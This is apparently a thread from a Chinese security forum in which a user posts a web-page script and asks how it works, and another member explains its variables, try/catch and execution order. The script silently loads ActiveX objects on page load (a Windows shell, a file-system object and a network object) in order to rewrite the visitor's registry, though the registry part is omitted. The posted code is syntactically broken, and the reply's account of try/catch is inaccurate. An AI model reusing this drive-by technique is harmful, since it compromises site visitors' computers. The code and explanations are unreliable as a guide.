|
![]() | 作者: huarongdao [huarongdao]
![]() |
登录 |
这是一个网页调用activeX的代码 1 为什么这里会是一个applets[0]数组呢,a1怎么可以与三个对象联系了,并且建立了三个对象? 改注册表没必要建立 fso,net 对象吧? 2 函数try是什么功能? 3 函数catch(e)好象没什么用吧? 4 这个脚本是从 init()开始执行的吧? 这几个问题困惑了我好久,请286指教! 我也找不到什么书来看这些问题,特别是这个调用applet,activex什么的, ,能不能介绍几本书看一下,谢谢拉 ________________________________________________________________ <script language="javascript"> document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>") function f(){//activex.initialization \\function f()在这儿 a1=document.applets[0]; a1.setclsid("{F935DC22-1CF0-11C0-ADB9-00C04FD58A0B}");\\建立一个WINDOWS宿主对象 a1.createinstance(); sh1=a1.getobject(); a1.setclsid("{0D43FE01-F093-11CF-8940-00A0C9054228}"); \\建立一个文件系统对象 a1.createinstance(); fso=a1.getobject(); a1.setclsid("F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); \\建立一个WINDOWS脚本主机网络连接对象) a1.createinstance(); net=a1.getobject(); try { if(document.cookie.indexof("chg")==-1 { _____________________________________________________________ //改写注册表 省略 //注册表修改结束 ____________________________________________________________ } } catch(e) {} } catch(e) {} } function init() \\function init() 函数 在这儿 { settimeout("f()",1000); } init(); \\init()函数在这儿 </script> |
地主 发表时间: 05/18 22:16 |
![]() | 回复: 286 [unique] ![]() |
登录 |
不好意思,我没有专门用javascript开发过程序,所以我的理解不一定正确,你斟情参考。 1 为什么这里会是一个applets[0]数组呢,a1怎么可以与三个对象联系了,并且建立了三个对象? 改注册表没必要建立 fso,net 对象吧? 在这里,a1是作为临时变量出现的。它先建立一个对象,然后把该值赋给了sh1,然后再建,依次赋给fso,net两个对象。并不是与三个对象联系,程序执行完时,应该与net相等。fso,net,sh1只是他用来记忆对象的名子,你可以换个你认为合适的名子。 至于applets,我想与上下文有关。 2 函数try是什么功能? 3 函数catch(e)好象没什么用吧? try 和catch(e)是配套使用的。它是用来调试用的,你可以到C/C++,Java语言书中找找。具体使用方法是, 系统自动分析try{....}中的语句,如果出错,就到catch(e)里,把错误代码传给e,然后在e里找相应的处理语句。 4 这个脚本是从 init()开始执行的吧? 一个页的角本执行应该是<body onload="本页最先执行的函数">,你看看你的网页有没有这样一句。 但在该页<script>...</script>中,前面几个函数都是定义,而init();是调用,所以对于该<script>...</script>,init()是要执行的,但不是本页最先执行的。 |
B1层 发表时间: 05/19 08:47 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号